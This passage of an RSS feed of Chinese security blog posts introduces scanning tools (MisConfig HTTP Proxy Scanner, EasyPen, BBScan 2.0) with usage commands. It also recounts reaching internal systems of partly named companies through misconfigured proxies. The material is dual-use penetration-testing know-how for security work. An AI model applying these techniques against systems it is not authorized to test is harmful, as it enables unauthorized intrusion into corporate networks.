14px;">限制执行递归查找的次数和递归层级</span></p></li><li><p style="margin-bottom: 8px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 14px;">限制只允许添加目标为同一个<span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;"> 域</span> *.target.com 或者同一个网段下的请求</span></p></li><li><p style="margin-bottom: 8px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 14px;">由扫描框架，控制好单个插件的超时和最大执行次数</span></p></li><li><p style="margin-bottom: 8px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 14px;">由扫描组件，持续监视自身资源占用，必要时放弃退出</span></p></li></ul><p style="margin-bottom: 8px;letter-spacing: 0.578px;text-wrap: wrap;"><strong><span style="font-size: 14px;">扫描器使用者考虑做以下处理：</span></strong><span style="font-size: 14px;"></span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="font-size: 14px;"><p style="margin-bottom: 8px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 14px;">确保只在容器、虚机安装使用扫描器</span></p></li><li style="font-size: 14px;"><p style="margin-bottom: 8px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 14px;">网络隔离，对上述虚拟环境，限制其能够访问的内网IP段</span></p></li><li style="font-size: 14px;"><p style="margin-bottom: 8px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 14px;">对该插件进行前文所述的修改后再使用，或者临时先禁用</span></p></li><li style="font-size: 14px;"><p style="margin-bottom: 8px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="letter-spacing: 0.578px;">对于资源占用异常的扫描进程，考虑直接kill，放弃该目标</span><span style="letter-spacing: 0.578px;font-size: var(--articleFontsize);"></span><span style="letter-spacing: 0.578px;font-size: var(--articleFontsize);"></span></p></li></ul><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483715">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5b3bffd5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483715%26idx%3D1%26sn%3Dddb3eb43e635690505fe51a74422b56e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 10 Aug 2023 10:35:00 +0800</pubDate>
    </item>
    <item>
      <title>利用MisConfig HTTP Proxy Scanner发现配置不当的HTTP网关（正反向代理），突破边界访问企业内网应用</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483707&amp;idx=1&amp;sn=2bd55ae1d75b2f46bc99fcbee3458f59</link>
      <description>利用MisConfig HTTP Proxy Scanner发现配置不当的HTTP网关（正反向代理），突破边界访问企业内网应用</description>
      <content:encoded><![CDATA[<p>
<span>没发现漏洞的</span> <span>2023-04-18 11:41</span> <span style="display: inline-block;">北京</span>
</p>

<p>利用MisConfig HTTP Proxy Scanner发现配置不当的HTTP网关（正反向代理），突破边界访问企业内网应用</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=480136e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0jezbBnTO9libloMA3T4T3GZstAHulia40VUkBm955vKuFeVAhEFGic3IMZcmzbrfYK6D2Te9PguJgJjXcfNaLtwA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="line-height: normal;margin-bottom: 16px;"><span style="font-size: 14px;">MisConfig HTTP Proxy Scanner是一个web漏洞扫描器，用于扫描发现配置不当的HTTP正反代理：</span></section><ul class="list-paddingleft-1" style="list-style-type: square;"><li><section style="line-height: normal;"><span style="font-size: 14px;">错误配置的外网反向代理，内网系统被意外暴露到外网</span></section></li><li><p style="line-height: 1.5em;"><span style="font-size: 14px;">错误配置的外网正向代理，攻击者可以暴力枚举内网域名，访问内网的生产运维系统、办公系统</span></p></li></ul><p style="line-height: 1.5em;margin-top: 8px;margin-bottom: 8px;"><span style="font-size: 14px;">本项目地址：</span></p><section style="line-height: normal;"><span style="font-size: 14px;color: rgb(2, 30, 170);"><a href="https://github.com/lijiejie/MisConfig_HTTP_Proxy_Scanner" target="_blank">https://github.com/lijiejie/MisConfig_HTTP_Proxy_Scanner</a></span></section><p style="text-align: center;"><span style="font-size: 18px;"><strong style="outline: 0px;max-width: 100%;color: rgb(2, 30, 170);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">如何使用</strong></span></p><section style="margin-bottom: 8px;"><span style="font-size: 14px;">使用python3.8安装，工具启动后如下图所示：<br/></span></section><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0099431818181819" data-s="300,640" style="" data-type="png" data-w="704" src="https://wechat2rss.xlab.app/img-proxy/?k=06260c26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9libloMA3T4T3GZstAHulia408m3FM9qcT9LJYXYGFSBFiccU2sWX6zPN4cIkeCiczoLB3cBPZU04QB1g%2F640%3Fwx_fmt%3Dpng"/></section><p style="text-align: center;"><span style="color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;letter-spacing: 0.544px;text-align: center;background-color: rgb(255, 255, 255);">扫描器主界面</span></p><section style="margin-bottom: 8px;"><span style="font-size: 14px;"><strong>在左侧输入框</strong>，填入已经通过DNS暴力枚举、爬虫、PassiveDNS等手段，获取到的目标域名和IP地址。<br/></span></section><section style="margin-bottom: 8px;"><strong><span style="font-size: 14px;">在右侧输入框</span></strong><span style="font-size: 14px;">，支持两种模式：</span></section><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li><section style="margin-bottom: 8px;"><span style="font-size: 14px;">已知部分解析到内网10.x.x.x 192.168.x.x的企业域名，直接填入这些域名<br/></span></section></li><li><section style="margin-bottom: 8px;"><span style="font-size: 14px;">已知该企业使用private DNS Zone，外网无法其获取解析关系，可以使用字典暴力枚举。 比如 www.google.internal，这个域名只在目标公司内部可解析，则填入Zone，选取字典组合即可。如图下图所示</span></section></li></ol><p style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.2177650429799427" data-s="300,640" style="" data-type="png" data-w="349" src="https://wechat2rss.xlab.app/img-proxy/?k=24866817&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9libloMA3T4T3GZstAHulia40xkjENmM7PicqibY1anyUShyibiaC75KTuKH2N8FpsIeEpE6NMSap0dXw4Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;letter-spacing: 0.544px;text-align: center;background-color: rgb(255, 255, 255);">配置Private DNS Zone暴力破解</span></p><section style="margin-bottom: 8px;text-align: center;"><strong style="font-size: 18px;text-align: center;white-space: normal;outline: 0px;max-width: 100%;color: rgb(2, 30, 170);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">工作示例</strong></section><section style="margin-bottom: 8px;"><span style="font-size: 14px;">作者随机选取几家公司进行测试示例。</span></section><section style="margin-bottom: 8px;"><strong><span style="font-size: 14px;color: rgb(2, 30, 170);">以某度公司为例</span></strong><span style="font-size: 14px;">，该公司域名内外网是混用的，内网系统也使用xxxx.xxxdu.com访问。丢进扫描器，可以枚举到在外网根本无法解析的系统。如下图所示：</span></section><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9631728045325779" data-s="300,640" style="" data-type="png" data-w="353" src="https://wechat2rss.xlab.app/img-proxy/?k=672a0742&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9libloMA3T4T3GZstAHulia40HBdz9Q8KuRYZficDAIZj2LdSUOVqpIviaAERppia9K6Kcyb8dNRXDhnZg%2F640%3Fwx_fmt%3Dpng"/></section><p style="text-align: center;"><span style="font-size: 12px;">该域名在外网无法解析</span><br/></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5091937765205092" data-s="300,640" style="" data-type="png" data-w="707" src="https://wechat2rss.xlab.app/img-proxy/?k=3bedff26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9libloMA3T4T3GZstAHulia40absDmzoDuHRbpwLBNfmBuc9QiaRiaElGSHibsxib92MhzurdLj7ia1xu4PQ%2F640%3Fwx_fmt%3Dpng"/></section><p style="text-align: center;"><span style="font-size: 12px;">扫描结果界面</span></p><section style="margin-bottom: 8px;"><span style="font-size: 14px;">利用扫描结果配置hosts，Spring Boot应用出来了，如下图所示，基本肯定，这是一个内网应用：</span></section><p style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.443342776203966" data-s="300,640" style="" data-type="png" data-w="706" src="https://wechat2rss.xlab.app/img-proxy/?k=a6963be9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9libloMA3T4T3GZstAHulia40OSDpRrvIPl95SLLmcr6sjBvr9KOtzPRcseKSdic9jofv8l8ic8vn62vA%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-bottom: 8px;"><span style="font-size: 14px;"></span></section><section style="margin-bottom: 8px;"><strong style="white-space: normal;"><span style="font-size: 14px;color: rgb(2, 30, 170);">以某视公司为例</span></strong><span style="font-size: 14px;">，该公司域名内外网是混用的。某域名显示解析到10.x，如下图所示：</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1532976827094474" data-s="300,640" style="" data-type="png" data-w="561" src="https://wechat2rss.xlab.app/img-proxy/?k=1fa9a2fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9libloMA3T4T3GZstAHulia40ibIhrrE5eprdvEVj79M2fjgGq3gd6PGh6SG17jP85EJm8kX5T8bLhdQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;">利用扫描结果配置hosts</span><span style="font-size: 14px;">，内网系统便可以访问了：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6024321796071095" data-s="300,640" style="" data-type="png" data-w="1069" src="https://wechat2rss.xlab.app/img-proxy/?k=a3e3c136&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9libloMA3T4T3GZstAHulia40pibfrmI4iaYibIezrd0Ds54vCw4JIaKQUt9jPVEDCvItwAwpSiayToGN5g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;">我们知道，有互联网公司在内网办公系统，使用了特殊的*.oa.com域名。从fofa/shodan/zoomeye等平台，捞出来Headers中出现跳转 *.oa.com内网域名的IP地址，挂上字典扫一下。就可以发现存在漏洞的网关，直接穿透外网，访问其内网办公系统：</span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6962962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=905182b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9libloMA3T4T3GZstAHulia40M7UvvCNTyQKEbSPRwTrLkJnKykSjxiaf6JuIibkNFibaXvcHZTPicTnvpw%2F640%3Fwx_fmt%3Dpng"/></section><p style="text-align: center;"><span style="font-size: 12px;">内网办公系统</span></p><p style="text-align: center;"><span style="font-size: 14px;"><strong style="text-align: center;white-space: normal;font-size: 18px;outline: 0px;max-width: 100%;color: rgb(2, 30, 170);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">写在最后</strong></span></p><p style="text-align: left;margin-bottom: 8px;"><span style="font-size: 14px;">有了上述扫描结果，配置好hosts，就可以挂扫描器了。内网应用一般较为脆弱，没有经过严格的安全加固和渗透测试。挖到高危漏洞的几率远远大于一般外网应用。</span></p><p style="text-align: left;margin-bottom: 8px;"><span style="font-size: 14px;">本工具开发时间仓促，测试不充分，功能还不成熟。已知有误报问题待优化。</span></p><section style="text-align: left;margin-bottom: 8px;"><span style="font-size: 14px;">用户如果发现使用问题，欢迎反馈，在github上创建issue。</span></section><p style="text-align: left;"><span style="font-size: 14px;">近来写代码实在太少，手生了。原本以为几个小时就能写完的工具，连续写了几天到12点。当然，主要是画界面生疏了，80%的时间在处理GUI。:)</span></p><section style="margin-bottom: 8px;"><span style="font-size: 14px;"></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483707">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=dcdcf95f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483707%26idx%3D1%26sn%3D2bd55ae1d75b2f46bc99fcbee3458f59%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 18 Apr 2023 11:41:00 +0800</pubDate>
    </item>
    <item>
      <title>安全工具 EasyPen alpha 1.0 发布</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483695&amp;idx=1&amp;sn=bae9d413ca755756f8e2d5db2d8d8045</link>
      <description>EasyPen是使用Python + wxPython编写、提供简洁图形界面、支持跨平台的安全扫描工具，可用于企业内外网巡检、应急响应。</description>
      <content:encoded><![CDATA[<p>
<span>EasyPen</span> <span>2022-09-08 15:32</span> <span style="display: inline-block;">北京</span>
</p>

<p>EasyPen是使用Python + wxPython编写、提供简洁图形界面、支持跨平台的安全扫描工具，可用于企业内外网巡检、应急响应。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=64f17e60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0jezbBnTO9lpVXyibevbfIB0ic0YXFwvYOL05DEYRtmFdsy5icMbQVtfLaUv9Md7AjtMl2YGRl2PyBlUC9bYavzbw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 14px;">最初计划写EasyPen这个工具，是因为笔者认为</span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li><p><span style="font-size: 14px;">单机性能已经非常强大，哪怕是在家庭网络下，发包速率也非常可观</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">一般漏洞的应急，在已具备资产发现能力的情况下，写十几行代码扫全网，应该可以非常快，几分钟或者几十分钟就可以完成上万服务的扫描</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">提供一个简单的图形化工具，给白帽子或者安全团队内部同事使用。平时本机验证一下漏洞比较方便，不用各个脚本切来切去</span></p><p><br/></p></li></ul><p><span style="font-size: 14px;">EasyPen是使用Python + wxPython编写、提供简洁图形界面、支持跨平台的安全扫描工具，可用于企业内外网巡检、应急响应。</span></p><section style="margin-bottom: 0px;"><span style="font-size: 14px;">项目地址：</span><span style="font-size: 14px;"><a href="https://github.com/lijiejie/EasyPen" target="_blank">https://github.com/lijiejie/EasyPen</a></span></section><p><span style="font-size: 14px;">在线文档：<a href="https://easypen.lijiejie.com" target="_blank">https://easypen.lijiejie.com</a></span></p><p><span style="font-size: 14px;">它的主要功能包括：</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">资产发现：域名、IP、端口、服务等</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">漏洞扫描：基于AsyncIO实现的扫描框架，内置超过100个漏洞检测插件，支持调度Hydra/Medusa/Ncrack等工具扫描常见弱口令</span></p></li><li><p><span style="font-size: 14px;">应急响应：高危漏洞爆发后，依托框架和现成资产库，通常只需要编写十余行检测逻辑代码，就可以在几分钟内完成对数千目标的扫描</span></p></li><li><p><span style="font-size: 14px;">集成了多个漏洞利用工具</span></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7515463917525773" data-s="300,640" style="" data-type="png" data-w="970" src="https://wechat2rss.xlab.app/img-proxy/?k=48c1c2c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9lpVXyibevbfIB0ic0YXFwvYOjToYFfVTw9VHOtylcUdaohCyrBIreUOKrnygrsHiaZzdO14cfl1AppA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><span style="font-size: 12px;">扫描界面</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.75" data-s="300,640" style="" data-type="png" data-w="968" src="https://wechat2rss.xlab.app/img-proxy/?k=951f9a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9lpVXyibevbfIB0ic0YXFwvYOgvtISlxKImmvJwbvyZcV7oZE2gRjMhRrzHnibB55COmt4CQbhGpKT9Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><span style="font-size: 12px;">漏洞工具界面</span></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><strong style="color: rgb(2, 30, 170);text-align: center;white-space: normal;">功能特性</strong><br/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p></li></ul><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">本工具使用AsyncIO实现了高并发扫描，扫描核心是单线程的，并发扫描任务可超过1000个</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">本工具优化了DNS Log 检测方法，扫描器维护域名映射关系表，因此，无论扫描过程中投递过多少个子域名，最终都只需要最多2个HTTP请求验证。另外，由于DNS Log在传递链路上的触发需要一定时间，因此，把查询验证放到最后，也消除了不必要的等待，降低漏报的可能性</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">本工具提供易用的图形界面，通过关键词筛选目标（例如服务、端口号、IP等），即可立即发起大范围扫描</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">本工具支持多种输入格式，支持输入 10.1.1.1/16  10.1.1.2/10:80 www.lijiejie.com/31 等目标发起检测</span></p><p><br/></p></li></ul><p style="margin-bottom: 0em;text-align: center;"><span style="color: rgb(2, 30, 170);"><strong>安装使用</strong></span></p><p style="margin-bottom: 0em;text-align: left;"><br/></p><section style="margin-bottom: 8px;"><span style="font-size: 14px;">笔者同时使用了 Windows  / CentOS / Ubuntu 作为开发环境进行测试。目前测试覆盖不全，应该还有一些坑。请大家在Github上创建Issue反馈。</span><br/></section><section style="margin-bottom: 16px;"><span style="font-size: 14px;">对于熟悉python的高级用户而言，建议抓取代码后pip install</span></section><p><span style="font-size: 14px;">如果是Windows用户，并且希望绕过繁琐的安装步骤。则可以下载笔者已经生成的exe文件。下载直接运行其中的 <span style="color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);">EasyPen.exe 即可</span></span><br/></p><p><span style="font-size: 14px;"><a href="https://github.com/lijiejie/EasyPen/releases/tag/alpha1.0.0" target="_blank">https://github.com/lijiejie/EasyPen/releases/tag/alpha1.0.0</a></span></p><p><span style="font-size: 14px;">为了能够完整使用扫描器，还需要配置好DNS Log地址，域名列表等。请参考用户文档。</span><br/></p><p style="text-align: center;"><span style="color:#021eaa;"><strong>开发计划</strong></span></p><p><span style="font-size: 14px;">目前Alpha 1.0 只完成了基础的框架，待开发完善的功能</span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li><p><span style="font-size: 14px;">适配支持各种类型的DNSLog平台</span></p></li><li><p><span style="font-size: 14px;">集成web指纹识别功能，标签功能（Server / Shiro / PHP / Java 等），可视化预览</span></p></li><li><p><span style="font-size: 14px;">维护预置扫描模板（插件集合名称）</span></p></li><li><p><span style="font-size: 14px;">添加第三方插件的执行支持，如：python / YAML 插件，支持复用其他开源项目插件</span></p></li><li><p><span style="font-size: 14px;">简易插件编辑和调试功能</span></p></li><li><p><span style="font-size: 14px;">漏洞查看界面一键复核验证功能（漏洞依然存在则高亮显示）</span></p></li><li><p><span style="font-size: 14px;">优化暴力破解相关，包括字典维护</span></p></li><li><p><span style="font-size: 14px;">BBScan插件的集成</span></p></li><li><p><span style="font-size: 14px;">扫描性能持续提升</span></p></li><li><p><span style="font-size: 14px;">重构代码便于其他贡献者增加工具、插件</span></p></li></ul><section style="margin-top: 16px;margin-bottom: 8px;"><span style="font-size: 14px;">欢迎大家参与到这个工具的开发中。：）  </span></section><p style="margin-top: 8px;"><span style="font-size: 14px;">在这里感谢CEO Lake2的监督指导，下方是他的公众号。关注有钱人的公众号，窥探上流社会的思潮和生活，就在 &#34;朴实无华lake2&#34;。</span></p><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg4NTc0MjAwMg==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/sAds7Hl9rO7xGRS4oiaxzejIf5cVYWp4ia695icibicrGQTZUsdzXQnDhibUMg06FMPfrvvGbRfMufoyAAH7as17yU6w/0?wx_fmt=png" data-nickname="朴实无华lake2" data-alias="lake20220220" data-signature="生活就是这么朴实无华，且枯燥" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section style="margin-top: 16px;"><span style="font-size: 14px;"></span></section>



<p><a href="2247483695">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2e0dceb7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483695%26idx%3D1%26sn%3Dbae9d413ca755756f8e2d5db2d8d8045%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 08 Sep 2022 15:32:00 +0800</pubDate>
    </item>
    <item>
      <title>BBScan2.0 : 在大量目标中快速发现潜在漏洞目标</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483689&amp;idx=1&amp;sn=4f498ce5cc471c4e4a9f2de1381ad272</link>
      <description>BBScan 是一个高并发、轻量级的信息泄露扫描工具。它可以在短时间内完成数十万目标的扫描</description>
      <content:encoded><![CDATA[<p>
<span>没发现漏洞的</span> <span>2022-07-04 22:19</span> <span style="display: inline-block;">北京</span>
</p>

<p>BBScan 是一个高并发、轻量级的信息泄露扫描工具。它可以在短时间内完成数十万目标的扫描</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a87b3a94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0jezbBnTO9lnYfN6zK1ibTAlnTWhl1SxSmUcZHn1xpbibOJPmU5xUKJ3E03v1cG4Go0ID7icNFgnt0wcaEdM2fxIA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 14px;"><strong>BBScan</strong> 是一个高并发、轻量级的信息泄露扫描工具。</span></p><p><span style="font-size: 14px;">它可以在短时间内完成数十万目标的扫描，帮助渗透工程师从大量没有标签的主机中，定位到可能存在弱点的目标，进行下一步半自动化测试，或者是开启重量级扫描器。可以作为一个轻量级插件，集成到自动化扫描系统中。</span></p><p><br/></p><p><span style="font-size: 14px;">BBScan最早是我7年前写的一个小工具，用来批量扫信息泄露的。项目地址：<br/></span></p><p><span style="color: rgb(0, 82, 255);font-size: 14px;"><a href="https://github.com/lijiejie/BBScan" target="_blank">https://github.com/lijiejie/BBScan</a></span></p><p><span style="font-size: 14px;">其维护价值不算太高，但不维护又稍微可惜。</span></p><p><span style="font-size: 14px;">以前经常会使用，比如应急的时候，写一行简单的规则到txt，就可以几分钟内扫完几万个目标。</span><span style="font-size: 14px;">后</span><span style="font-size: 14px;">因我很少</span><span style="font-size: 14px;">挖</span><span style="font-size: 14px;">漏</span><span style="font-size: 14px;">洞，</span><span style="font-size: 14px;">就没有再</span><span style="font-size: 14px;">更</span><span style="font-size: 14px;">新过</span><span style="font-size: 14px;">了。</span></p><p><span style="font-size: 14px;">最近因为内部扫描器迭代更新，将原先几个组件都重写了。主要是python3 + asyncio的改造，去掉了多进程。</span></p><p><span style="font-size: 14px;">有兴趣的同学可以试试这个版本。</span><span style="font-size: 14px;">把需要扫描的目标写入urls.txt，执行</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">python</span> <span class="code-snippet__selector-tag">BBScan</span><span class="code-snippet__selector-class">.py</span> <span class="code-snippet__selector-tag">-f</span> <span class="code-snippet__selector-tag">urls</span><span class="code-snippet__selector-class">.txt</span></span></code></pre></section><p><span style="font-size: 14px;">如果是少量目标，可以在命令行指定</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">python</span> <span class="code-snippet__selector-tag">BBScan</span><span class="code-snippet__selector-class">.py</span> <span class="code-snippet__selector-tag">--host</span> <span class="code-snippet__selector-tag">http</span>://<span class="code-snippet__selector-tag">test</span><span class="code-snippet__selector-class">.com</span> <span class="code-snippet__selector-tag">http</span>://<span class="code-snippet__selector-tag">test2</span><span class="code-snippet__selector-class">.com</span></span></code></pre></section><p><span style="font-size: 14px;">扫描特定的规则，通过 --rule 参数指定即可</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">python BBScan.py --rule test_page.txt --host http:<span class="code-snippet__comment">//test.com</span></span></code></pre></section><p><span style="font-size: 14px;">扫描特定python插件，通过--script参数指定即可</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">python</span> <span class="code-snippet__selector-tag">BBScan</span><span class="code-snippet__selector-class">.py</span> <span class="code-snippet__selector-tag">--script</span> <span class="code-snippet__selector-tag">outlook_web_app</span><span class="code-snippet__selector-class">.py</span>   <span class="code-snippet__selector-tag">--host</span> <span class="code-snippet__selector-tag">mail</span><span class="code-snippet__selector-class">.demo</span><span class="code-snippet__selector-class">.com</span></span></code></pre></section><p><span style="font-size: 14px;">其他的一些参数，用户可以自行探索。查看help doc</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">python</span> <span class="code-snippet__selector-tag">BBScan</span><span class="code-snippet__selector-class">.py</span></span></code></pre></section><p><span style="font-size: 14px;"></span></p><p><span style="font-size: 14px;">不知道人生有多少个7年。BBScan这个小工具，能更新2.0也是意料之外的。<br/></span></p><p><span style="font-size: 14px;">祝各位白帽子挖到高危漏洞。  </span></p><p><span style="font-size: 14px;">项目地址：  </span><span style="color: rgb(0, 82, 255);font-size: 14px;"><a href="https://github.com/lijiejie/BBScan" target="_blank">https://github.com/lijiejie/BBScan</a></span></p><p><span style="font-size: 14px;"><br/></span></p>



<p><a href="https://github.com/lijiejie/BBScan">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0891a88c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483689%26idx%3D1%26sn%3D4f498ce5cc471c4e4a9f2de1381ad272%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 04 Jul 2022 22:19:00 +0800</pubDate>
    </item>
    <item>
      <title>自黑之路：验证ds_store_exp工具任意文件写入漏洞</title>
